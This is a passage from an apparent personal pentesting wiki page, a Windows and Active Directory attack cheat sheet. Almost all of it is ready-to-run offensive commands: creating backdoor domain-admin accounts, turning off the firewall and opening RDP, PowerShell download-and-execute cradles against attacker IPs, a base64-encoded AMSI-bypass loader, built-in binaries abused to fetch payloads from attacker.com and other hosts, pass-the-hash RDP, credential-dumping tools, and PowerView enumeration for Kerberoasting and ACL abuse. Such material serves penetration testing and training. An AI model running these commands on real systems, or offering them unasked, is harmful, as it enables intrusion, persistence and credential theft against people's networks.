------------------------------------------------------------------------&lt;br /&gt;
# PERSISTENCE WITH USERS&lt;br /&gt;
# Add domain user and put them in Domain Admins group&lt;br /&gt;
net user username password /ADD /DOMAIN&lt;br /&gt;
net group &amp;quot;Domain Admins&amp;quot; username /ADD /DOMAIN&lt;br /&gt;
# Add local user and put them local Administrators group&lt;br /&gt;
net user username password /ADD&lt;br /&gt;
net localgroup Administrators username /ADD&lt;br /&gt;
# Add user to insteresting groups:&lt;br /&gt;
net localgroup &amp;quot;Remote Desktop Users&amp;quot; UserLoginName  /add&lt;br /&gt;
net localgroup &amp;quot;Debugger users&amp;quot; UserLoginName /add&lt;br /&gt;
net localgroup &amp;quot;Power users&amp;quot; UserLoginName /add&lt;br /&gt;
------------------------------------------------------------------------&lt;br /&gt;
# FIREWALL&lt;br /&gt;
netsh firewall show state # FW info, open ports&lt;br /&gt;
netsh advfirewall firewall show rule name=all&lt;br /&gt;
netsh firewall show config # FW info&lt;br /&gt;
Netsh Advfirewall show allprofiles&lt;br /&gt;
NetSh Advfirewall set allprofiles state off  #Turn Off&lt;br /&gt;
NetSh Advfirewall set allprofiles state on  #Trun On&lt;br /&gt;
netsh firewall set opmode disable #Turn Off&lt;br /&gt;
::How to open ports&lt;br /&gt;
netsh advfirewall firewall add rule name=&amp;quot;NetBIOS UDP Port 138&amp;quot; dir=out action=allow protocol=UDP localport=138&lt;br /&gt;
netsh advfirewall firewall add rule name=&amp;quot;NetBIOS TCP Port 139&amp;quot; dir=in action=allow protocol=TCP localport=139&lt;br /&gt;
netsh firewall add portopening TCP 3389 &amp;quot;Remote Desktop&amp;quot;&lt;br /&gt;
::Enable Remote Desktop&lt;br /&gt;
reg add &amp;quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&amp;quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f&lt;br /&gt;
netsh firewall add portopening TCP 3389 &amp;quot;Remote Desktop&amp;quot;&lt;br /&gt;
::netsh firewall set service remotedesktop enable #I found that this line is not needed&lt;br /&gt;
::sc config TermService start= auto #I found that this line is not needed&lt;br /&gt;
::net start Termservice #I found that this line is not needed&lt;br /&gt;
::Enable Remote assistance:&lt;br /&gt;
reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f&lt;br /&gt;
netsh firewall set service remoteadmin enable&lt;br /&gt;
::Ninja combo (New Admin User, RDP + Rassistance + Firewall allow)&lt;br /&gt;
net user hacker Hacker123! /add &amp;amp; net localgroup administrators hacker /add &amp;amp; net localgroup &amp;quot;Remote Desktop Users&amp;quot; hacker /add &amp;amp; reg add &amp;quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&amp;quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f &amp;amp; reg add &amp;quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&amp;quot; /v fAllowToGetHelp /t REG_DWORD /d 1 /f &amp;amp; netsh firewall add portopening TCP 3389 &amp;quot;Remote Desktop&amp;quot; &amp;amp; netsh firewall set service remoteadmin enable&lt;br /&gt;
::Connect to RDP (using hash or password)&lt;br /&gt;
xfreerdp /u:alice /d:WORKGROUP /pth:b74242f37e47371aff835a6ebcac4ffe /v:10.11.1.49&lt;br /&gt;
xfreerdp /u:hacker /d:WORKGROUP /p:Hacker123! /v:10.11.1.49&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PowerShell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/windows-hardening/basic-powershell-for-pentesters&lt;br /&gt;
# Default PowerShell locations&lt;br /&gt;
C:\windows\syswow64\windowspowershell\v1.0\powershell&lt;br /&gt;
C:\Windows\System32\WindowsPowerShell\v1.0\powershell&lt;br /&gt;
------------------------------------------------------------------------&lt;br /&gt;
# Basic PS commands to start&lt;br /&gt;
Get-Help * #List everything loaded&lt;br /&gt;
Get-Help process #List everything containing &amp;quot;process&amp;quot;&lt;br /&gt;
Get-Help Get-Item -Full #Get full helpabout a topic&lt;br /&gt;
Get-Help Get-Item -Examples #List examples&lt;br /&gt;
Import-Module&lt;br /&gt;
Get-Command -Module&lt;br /&gt;
------------------------------------------------------------------------&lt;br /&gt;
# Download and Execute&lt;br /&gt;
powershell &amp;quot;IEX(New-Object Net.WebClient).downloadString(&#039;http://10.10.14.9:8000/ipw.ps1&#039;)&amp;quot;&lt;br /&gt;
echo IEX(New-Object Net.WebClient).DownloadString(&#039;http://10.10.14.13:8000/PowerUp.ps1&#039;) | powershell -noprofile - #From cmd download and execute&lt;br /&gt;
powershell -exec bypass -c &amp;quot;(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr(&#039;http://10.2.0.5/shell.ps1&#039;)|iex&amp;quot;&lt;br /&gt;
iex (iwr &#039;10.10.14.9:8000/ipw.ps1&#039;) #From PSv3&lt;br /&gt;
$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open(&#039;GET&#039;,&#039;http://10.10.14.9:8000/ipw.ps1&#039;,$false);$h.send();iex $h.responseText&lt;br /&gt;
$wr = [System.NET.WebRequest]::Create(&amp;quot;http://10.10.14.9:8000/ipw.ps1&amp;quot;) $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd(&lt;br /&gt;
------------------------------------------------------------------------&lt;br /&gt;
# Download and Exectute in background with AMSI Bypass&lt;br /&gt;
Start-Process -NoNewWindow powershell &amp;quot;-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=&amp;quot;&lt;br /&gt;
------------------------------------------------------------------------&lt;br /&gt;
# Using Base64 from Linux&lt;br /&gt;
echo -n &amp;quot;IEX(New-Object Net.WebClient).downloadString(&#039;http://10.10.14.31/shell.ps1&#039;)&amp;quot; | iconv -t UTF-16LE | base64 -w 0&lt;br /&gt;
powershell -nop -enc&lt;br /&gt;
# Enumerate GenericAll using PowerView&lt;br /&gt;
##  To identify all domain users that the current account has GenericAll rights to (Remember to run from domain user and not local user:&lt;br /&gt;
PS C:\tools&amp;gt; Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq &amp;quot;$env:UserDomain\$env:Username&amp;quot;) {$_}}&lt;br /&gt;
## If you have GenericAll on user account, change the password&lt;br /&gt;
net user user1 pass123 /domain&lt;br /&gt;
# To enumerate domain groups that the current user has explicit access rights to:&lt;br /&gt;
PS C:\tools&amp;gt; Get-DomainGroup | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq &amp;quot;$env:UserDomain\$env:Username&amp;quot;) {$_}}&lt;br /&gt;
## With GenericAll rights on a group, a user can add themselves or other users to that group:&lt;br /&gt;
net group testgroup User2 /add /domain&lt;br /&gt;
# Enumerate PowerShell Console history&lt;br /&gt;
(Get-PSReadlineOption).HistorySavePath&lt;br /&gt;
C:\Users\USER\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Download file from attacker to target ===&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/basic-cmd-for-pentesters#domain-info https://book.hacktricks.xyz/windows-hardening/basic-cmd-for-pentesters#domain-info]&lt;br /&gt;
&lt;br /&gt;
See my cheatsheet also.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# CMD&lt;br /&gt;
# Bitsadmin.exe&lt;br /&gt;
bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1&lt;br /&gt;
# CertReq.exe&lt;br /&gt;
CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt&lt;br /&gt;
# Certutil.exe&lt;br /&gt;
certutil.exe -urlcache -split -f &amp;quot;http://10.10.14.13:8000/shell.exe&amp;quot; s.exe&lt;br /&gt;
# CrackMapExec&lt;br /&gt;
crackmapexec smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt&lt;br /&gt;
# Desktopimgdownldr.exe&lt;br /&gt;
set &amp;quot;SYSTEMROOT=C:\Windows\Temp&amp;quot; &amp;amp;&amp;amp; cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr&lt;br /&gt;
# Diantz.exe&lt;br /&gt;
diantz.exe \\remotemachine\pathToFile\file.exe c:\destinationFolder\file.cab&lt;br /&gt;
# Esentutl.exe&lt;br /&gt;
esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d \\otherwebdavserver\webdav\adrestore.exe /o&lt;br /&gt;
# Expand.exe&lt;br /&gt;
expand \\webdav\folder\file.bat c:\ADS\file.bat&lt;br /&gt;
# Extrac32.exe&lt;br /&gt;
extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt&lt;br /&gt;
# Findstr.exe&lt;br /&gt;
findstr /V /L W3AllLov3DonaldTrump \\webdavserver\folder\file.exe &amp;gt; c:\ADS\file.exe&lt;br /&gt;
# Ftp.exe&lt;br /&gt;
cmd.exe /c &amp;quot;@echo open attacker.com 21&amp;gt;ftp.txt&amp;amp;@echo USER attacker&amp;gt;&amp;gt;ftp.txt&amp;amp;@echo PASS PaSsWoRd&amp;gt;&amp;gt;ftp.txt&amp;amp;@echo binary&amp;gt;&amp;gt;ftp.txt&amp;amp;@echo GET /payload.exe&amp;gt;&amp;gt;ftp.txt&amp;amp;@echo quit&amp;gt;&amp;gt;ftp.txt&amp;amp;@ftp -s:ftp.txt -v&amp;quot;&lt;br /&gt;
# GfxDownloadWrapper.exe&lt;br /&gt;
C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_[0-9]+\GfxDownloadWrapper.exe &amp;quot;URL&amp;quot; &amp;quot;DESTINATION FILE&amp;quot;&lt;br /&gt;
# Hh.exe&lt;br /&gt;
HH.exe http://some.url/script.ps1&lt;br /&gt;
# Ieexec.exe&lt;br /&gt;
ieexec.exe http://x.x.x.x:8080/bypass.exe&lt;br /&gt;
# Makecab.exe&lt;br /&gt;
makecab \\webdavserver\webdav\file.exe C:\Folder\file.cab&lt;br /&gt;
# MpCmdRun.exe&lt;br /&gt;
MpCmdRun.exe -DownloadFile -url  -path  //Windows Defender executable&lt;br /&gt;
# Replace.exe&lt;br /&gt;
replace.exe \\webdav.host.com\foo\bar.exe c:\outdir /A&lt;br /&gt;
# Excel.exe&lt;br /&gt;
Excel.exe http://192.168.1.10/TeamsAddinLoader.dll&lt;br /&gt;
# Powerpnt.exe&lt;br /&gt;
Powerpnt.exe &amp;quot;http://192.168.1.10/TeamsAddinLoader.dll&amp;quot;&lt;br /&gt;
# Squirrel.exe&lt;br /&gt;
squirrel.exe --download [url to package]&lt;br /&gt;
# Update.exe&lt;br /&gt;
Update.exe --download [url to package]&lt;br /&gt;
# Winword.exe&lt;br /&gt;
winword.exe &amp;quot;http://192.168.1.10/TeamsAddinLoader.dll&amp;quot;&lt;br /&gt;
# Wsl.exe&lt;br /&gt;
wsl.exe --exec bash -c &#039;cat  binary&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# POWERSHELL&lt;br /&gt;
# System.Net.WebClient&lt;br /&gt;
(New-Object Net.WebClient).DownloadFile(&amp;quot;http://10.10.14.2:80/taskkill.exe&amp;quot;,&amp;quot;C:\Windows\Temp\taskkill.exe&amp;quot;)&lt;br /&gt;
# Invoke-WebRequest&lt;br /&gt;
Invoke-WebRequest &amp;quot;http://10.10.14.2:80/taskkill.exe&amp;quot; -OutFile &amp;quot;taskkill.exe&amp;quot;&lt;br /&gt;
# Wget&lt;br /&gt;
wget &amp;quot;http://10.10.14.2/nc.bat.exe&amp;quot; -OutFile &amp;quot;C:\ProgramData\unifivideo\taskkill.exe&amp;quot;&lt;br /&gt;
# BitsTransfer&lt;br /&gt;
Import-Module BitsTransfer&lt;br /&gt;
Start-BitsTransfer -Source $url -Destination $output&lt;br /&gt;
# OR&lt;br /&gt;
Start-BitsTransfer -Source $url -Destination $output -Asynchronous&lt;br /&gt;
# Base64 Kali &amp;amp; EncodedCommand&lt;br /&gt;
kali&amp;gt; echo -n &amp;quot;IEX(New-Object Net.WebClient).downloadString(&#039;http://10.10.14.9:8000/9002.ps1&#039;)&amp;quot; | iconv --to-code UTF-16LE | base64 -w0&lt;br /&gt;
PS&amp;gt; powershell -EncodedCommand&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== adPEAS ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/61106960/adPEAS https://github.com/61106960/adPEAS]&lt;br /&gt;
&lt;br /&gt;
adPEAS consists of the following enumeration modules:&lt;br /&gt;
&lt;br /&gt;
* Domain - Searching for basic Active Directory information, like Domain Controllers, Sites und Subnets, Trusts and DCSync rights&lt;br /&gt;
&lt;br /&gt;
* CA - Searching for basic Enterprise Certificate Authority information, like CA Name, CA Server and Templates&lt;br /&gt;
&lt;br /&gt;
* Creds - Searching for different kind of credential exposure, like ASREPRoast, Kerberoasting, GroupPolicies, Netlogon scripts, LAPS, gMSA, certain account attributes, e.g. UnixPassword, etc.&lt;br /&gt;
&lt;br /&gt;
* Delegation - Searching for delegation issues, like &#039;Constrained Delegation&#039;, &#039;Unconstrained Delegation&#039; and &#039;Resource Based Unconstrained Delegation&#039;, for computer and user accounts&lt;br /&gt;
&lt;br /&gt;
* Accounts - Searching for high privileged user accounts in predefined groups, account issues like e.g. password not expire&lt;br /&gt;
&lt;br /&gt;
* Computer - Enumerating Domain Controllers, CA and Exchange server, with the switch -Vulns it checks the systems for EternalBlue, BlueKeep, ZeroLogon and critical Exchange vulnerabilities&lt;br /&gt;
&lt;br /&gt;
* Bloodhound - Enumerating Active Directory with BloodHound&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Load adPEAS in PowerShell.&lt;br /&gt;
Import-Module .\adPEAS.ps1 # Method 1&lt;br /&gt;
. .\adPEAS.ps1 # Method 2&lt;br /&gt;
gc -raw .\adPEAS.ps1 | iex # Method 3&lt;br /&gt;
IEX (New-Object Net.WebClient).DownloadString(&#039;https://raw.githubusercontent.com/61106960/adPEAS/main/adPEAS.ps1&#039;) # Method 4&lt;br /&gt;
-----------------------------&lt;br /&gt;
# Start adPEAS with all enumeration modules and enumerate the domain the logged-on user and computer is connected to.&lt;br /&gt;
Invoke-adPEAS&lt;br /&gt;
#Start adPEAS with all enumeration modules and enumerate the domain &#039;contoso.com&#039;.&lt;br /&gt;
Invoke-adPEAS -Domain &#039;contoso.com&#039;&lt;br /&gt;
# Start adPEAS with all enumeration modules, enumerate the domain &#039;contoso.com&#039; and use the domain controller &#039;dc1.contoso.com&#039; for almost all enumeration requests.&lt;br /&gt;
Invoke-adPEAS -Domain &#039;contoso.com&#039; -Server &#039;dc1.contoso.com&#039;&lt;br /&gt;
# Start adPEAS with all enumeration modules, enumerate the domain &#039;contoso.com&#039; and use the passed PSCredential object during enumeration.&lt;br /&gt;
$SecPassword = ConvertTo-SecureString &#039;Passw0rd1!&#039; -AsPlainText -Force&lt;br /&gt;
$Cred = New-Object System.Management.Automation.PSCredential(&#039;contoso\johndoe&#039;, $SecPassword)&lt;br /&gt;
Invoke-adPEAS -Domain &#039;contoso.com&#039; -Cred $Cred&lt;br /&gt;
# Start adPEAS with all enumeration modules, enumerate the domain &#039;contoso.com&#039; and use the username &#039;contoso\johndoe&#039; with password &#039;Passw0rd1!&#039; during enumeration.&lt;br /&gt;
Invoke-adPEAS -Domain contoso.com -Username &#039;contoso\johndoe&#039; -Password &#039;Passw0rd1!&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== LiniKatzV2 ==&lt;br /&gt;
&lt;br /&gt;
This tool needs &#039;&#039;&#039;root privileges&#039;&#039;&#039; to be run on the host system.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/Orange-Cyberdefense/LinikatzV2&lt;br /&gt;
# It allows extraction of :&lt;br /&gt;
# - Hashed stored in files for offline connection (SHA-512 format)&lt;br /&gt;
# - Kerberos tickets (user &amp;amp; machine)&lt;br /&gt;
# - Clear passwords in RAM&lt;br /&gt;
# - NTLM machine hash&lt;br /&gt;
# - AES-128 &amp;amp; AES-256 machine keys&lt;br /&gt;
$ sudo ./linikatzV2.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Purple-Knight ==&lt;br /&gt;
&lt;br /&gt;
[https://www.purple-knight.com/ https://www.purple-knight.com/]&lt;br /&gt;
&lt;br /&gt;
== Fores-Druid ==&lt;br /&gt;
&lt;br /&gt;
[https://www.purple-knight.com/forest-druid/ Forest Druid - Focus on your Tier 0 perimeter (purple-knight.com)]&lt;br /&gt;
&lt;br /&gt;
== PowerView (Enumeration and lateral movement) ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/basic-powershell-for-pentesters/powerview PowerView/SharpView - HackTricks]&lt;br /&gt;
&lt;br /&gt;
The most up-to-date version of PowerView will always be in the dev branch of PowerSploit: [https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1 https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/tevora-threat/SharpView SharpView] is a .NET port of [https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1 PowerView]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Quick Enumeration&lt;br /&gt;
Get-NetDomain #Basic domain info&lt;br /&gt;
#User info&lt;br /&gt;
Get-NetUser -UACFilter NOT_ACCOUNTDISABLE | select samaccountname, description, pwdlastset, logoncount, badpwdcount #Basic user enabled info&lt;br /&gt;
Get-NetUser -LDAPFilter &#039;(sidHistory=*)&#039; #Find users with sidHistory set&lt;br /&gt;
Get-NetUser -PreauthNotRequired #ASREPRoastable users&lt;br /&gt;
Get-NetUser -SPN #Kerberoastable users&lt;br /&gt;
#Groups info&lt;br /&gt;
Get-NetGroup | select samaccountname, admincount, description&lt;br /&gt;
Get-DomainObjectAcl -SearchBase &#039;CN=AdminSDHolder,CN=System,DC=EGOTISTICAL-BANK,DC=local&#039; | %{ $_.SecurityIdentifier } | Convert-SidToName #Get AdminSDHolders&lt;br /&gt;
#Computers&lt;br /&gt;
Get-NetComputer | select samaccountname, operatingsystem&lt;br /&gt;
Get-NetComputer -Unconstrained | select samaccountname #DCs always appear but aren&#039;t useful for privesc&lt;br /&gt;
Get-NetComputer -TrustedToAuth | select samaccountname #Find computers with Constrained Delegation&lt;br /&gt;
Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse | ?{$_.MemberName -like &#039;*$&#039;} #Find any machine accounts in privileged groups&lt;br /&gt;
#Shares&lt;br /&gt;
Find-DomainShare -CheckShareAccess #Search readable shares&lt;br /&gt;
#Domain trusts&lt;br /&gt;
Get-NetDomainTrust #Get all domain trusts (parent, children and external)&lt;br /&gt;
Get-NetForestDomain | Get-NetDomainTrust #Enumerate all the trusts of all the domains found&lt;br /&gt;
#LHF&lt;br /&gt;
#Check if any user passwords are set&lt;br /&gt;
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter &#039;(userPassword=*)&#039; -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty &#039;Password&#039; &amp;quot;$([System.Text.Encoding]::ASCII.GetString($_.userPassword))&amp;quot; -PassThru} | fl&lt;br /&gt;
#Asks DC for all computers, and asks every compute if it has admin access (very noisy). You need RCP and SMB ports opened.&lt;br /&gt;
Find-LocalAdminAccess&lt;br /&gt;
#Get members from Domain Admins (default) and a list of computers and check if any of the users is logged in any machine running Get-NetSession/Get-NetLoggedon on each host. If -Checkaccess, then it also check for LocalAdmin access in the hosts.&lt;br /&gt;
Invoke-UserHunter -CheckAccess&lt;br /&gt;
#Find interesting ACLs&lt;br /&gt;
Invoke-ACLScanner -ResolveGUIDs | select IdentityReferenceName, ObjectDN, ActiveDirectoryRights | fl&lt;br /&gt;
&lt;br /&gt;
-----------------------&lt;br /&gt;
# Domain Info&lt;br /&gt;
Get-Domain #Get info about the current domain&lt;br /&gt;
Get-NetDomain #Get info about the current domain&lt;br /&gt;
Get-NetDomain -Domain mydomain.local&lt;br /&gt;
Get-DomainSID #Get domain SID&lt;br /&gt;
# Policy&lt;br /&gt;
Get-DomainPolicy #Get info about the policy&lt;br /&gt;
(Get-DomainPolicy).&amp;quot;KerberosPolicy&amp;quot; #Kerberos tickets info(MaxServiceAge)&lt;br /&gt;
(Get-DomainPolicy).&amp;quot;SystemAccess&amp;quot; #Password policy&lt;br /&gt;
Get-DomainPolicyData | select -ExpandProperty SystemAccess #Same as previous&lt;br /&gt;
(Get-DomainPolicy).PrivilegeRights #Check your privileges&lt;br /&gt;
Get-DomainPolicyData # Same as Get-DomainPolicy&lt;br /&gt;
# Domain Controller&lt;br /&gt;
Get-DomainController | select Forest, Domain, IPAddress, Name, OSVersion | fl # Get specific info of current domain controller&lt;br /&gt;
Get-NetDomainController -Domain mydomain.local #Get all ifo of specific domain Domain Controller&lt;br /&gt;
# Get Forest info&lt;br /&gt;
Get-ForestDomain&lt;br /&gt;
---------------&lt;br /&gt;
# Users, Groups, Computers and OU&#039;s&lt;br /&gt;
# Users&lt;br /&gt;
## Get usernames and their groups&lt;br /&gt;
Get-DomainUser -Properties name, MemberOf | fl&lt;br /&gt;
## Get-DomainUser and Get-NetUser are kind of the same&lt;br /&gt;
Get-NetUser #Get users with several (not all) properties&lt;br /&gt;
Get-NetUser | select samaccountname, description, pwdlastset, logoncount, badpwdcount #List all usernames&lt;br /&gt;
Get-NetUser -UserName student107 #Get info about a user&lt;br /&gt;
Get-NetUser -properties name, description #Get all descriptions&lt;br /&gt;
Get-NetUser -properties name, pwdlastset, logoncount, badpwdcount  #Get all pwdlastset, logoncount and badpwdcount&lt;br /&gt;
Find-UserField -SearchField Description -SearchTerm &amp;quot;built&amp;quot; #Search account with &amp;quot;something&amp;quot; in a parameter&lt;br /&gt;
# Get users with reversible encryption (PWD in clear text with dcsync)&lt;br /&gt;
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like &#039;*ENCRYPTED_TEXT_PWD_ALLOWED*&#039;} |select samaccountname,useraccountcontrol&lt;br /&gt;
# Users Filters&lt;br /&gt;
Get-NetUser -UACFilter NOT_ACCOUNTDISABLE -properties distinguishedname #All enabled users&lt;br /&gt;
Get-NetUser -UACFilter ACCOUNTDISABLE #All disabled users&lt;br /&gt;
Get-NetUser -UACFilter SMARTCARD_REQUIRED #Users that require a smart card&lt;br /&gt;
Get-NetUser -UACFilter NOT_SMARTCARD_REQUIRED -Properties samaccountname #Not smart card users&lt;br /&gt;
Get-NetUser -LDAPFilter &#039;(sidHistory=*)&#039; #Find users with sidHistory set&lt;br /&gt;
Get-NetUser -PreauthNotRequired #ASREPRoastable users&lt;br /&gt;
Get-NetUser -SPN | select serviceprincipalname #Kerberoastable users&lt;br /&gt;
Get-NetUser -SPN | ?{$_.memberof -match &#039;Domain Admins&#039;} #Domain admins kerberostable&lt;br /&gt;
Get-Netuser -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto #Constrained Resource Delegation&lt;br /&gt;
Get-NetUser -AllowDelegation -AdminCount #All privileged users that aren&#039;t marked as sensitive/not for delegation&lt;br /&gt;
# retrieve *most* users who can perform DC replication for dev.testlab.local (i.e. DCsync)&lt;br /&gt;
Get-ObjectAcl &amp;quot;dc=dev,dc=testlab,dc=local&amp;quot; -ResolveGUIDs | ? {&lt;br /&gt;
    ($_.ObjectType -match &#039;replication-get&#039;) -or ($_.ActiveDirectoryRights -match &#039;GenericAll&#039;)&lt;br /&gt;
}&lt;br /&gt;
# Users with PASSWD_NOTREQD set in the userAccountControl means that the user is not subject to the current password policy&lt;br /&gt;
## Users with this flag might have empty passwords (if allowed) or shorter passwords&lt;br /&gt;
Get-DomainUser -UACFilter PASSWD_NOTREQD | Select-Object samaccountname,useraccountcontrol&lt;br /&gt;
#Groups&lt;br /&gt;
Get-DomainGroup | where Name -like &amp;quot;*Admin*&amp;quot; | select SamAccountName&lt;br /&gt;
## Get-DomainGroup is similar to Get-NetGroup&lt;br /&gt;
Get-NetGroup #Get groups&lt;br /&gt;
Get-NetGroup -Domain mydomain.local #Get groups of an specific domain&lt;br /&gt;
Get-NetGroup &#039;Domain Admins&#039; #Get all data of a group&lt;br /&gt;
Get-NetGroup -AdminCount | select name,memberof,admincount,member | fl #Search admin grups&lt;br /&gt;
Get-NetGroup -UserName &amp;quot;myusername&amp;quot; #Get groups of a user&lt;br /&gt;
Get-NetGroupMember -Identity &amp;quot;Administrators&amp;quot; -Recurse #Get users inside &amp;quot;Administrators&amp;quot; group. If there are groups inside of this grup, the -Recurse option will print the users inside the others groups also&lt;br /&gt;
Get-NetGroupMember -Identity &amp;quot;Enterprise Admins&amp;quot; -Domain mydomain.local #Remember that &amp;quot;Enterprise Admins&amp;quot; group only exists in the rootdomain of the forest&lt;br /&gt;
Get-NetLocalGroup -ComputerName dc.mydomain.local -ListGroups #Get Local groups of a machine (you need admin rights in no DC hosts)&lt;br /&gt;
Get-NetLocalGroupMember -computername dcorp-dc.dollarcorp.moneycorp.local #Get users of localgroups in computer&lt;br /&gt;
Get-DomainObjectAcl -SearchBase &#039;CN=AdminSDHolder,CN=System,DC=testlab,DC=local&#039; -ResolveGUIDs #Check AdminSDHolder users&lt;br /&gt;
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid} #Get ObjectACLs by sid&lt;br /&gt;
Get-NetGPOGroup #Get restricted groups&lt;br /&gt;
# Computers&lt;br /&gt;
Get-DomainComputer -Properties DnsHostName # Get all domain maes of computers&lt;br /&gt;
## Get-DomainComputer is kind of the same as Get-NetComputer&lt;br /&gt;
Get-NetComputer #Get all computer objects&lt;br /&gt;
Get-NetComputer -Ping #Send a ping to check if the computers are working&lt;br /&gt;
Get-NetComputer -Unconstrained #DCs always appear but aren&#039;t useful for privesc&lt;br /&gt;
Get-NetComputer -TrustedToAuth #Find computers with Constrined Delegation&lt;br /&gt;
Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse | ?{$_.MemberName -like &#039;*$&#039;} #Find any machine accounts in privileged groups&lt;br /&gt;
#OU&lt;br /&gt;
Get-DomainOU -Properties Name | sort -Property Name #Get names of OUs&lt;br /&gt;
Get-DomainOU &amp;quot;Servers&amp;quot; | %{Get-DomainComputer -SearchBase $_.distinguishedname -Properties Name} #Get all computers inside an OU (Servers in this case)&lt;br /&gt;
## Get-DomainOU is kind of the same as Get-NetOU&lt;br /&gt;
Get-NetOU #Get Organization Units&lt;br /&gt;
Get-NetOU StudentMachines | %{Get-NetComputer -ADSPath $_} #Get all computers inside an OU (StudentMachines in this case)&lt;br /&gt;
-----------------------&lt;br /&gt;
# Logon and sessions&lt;br /&gt;
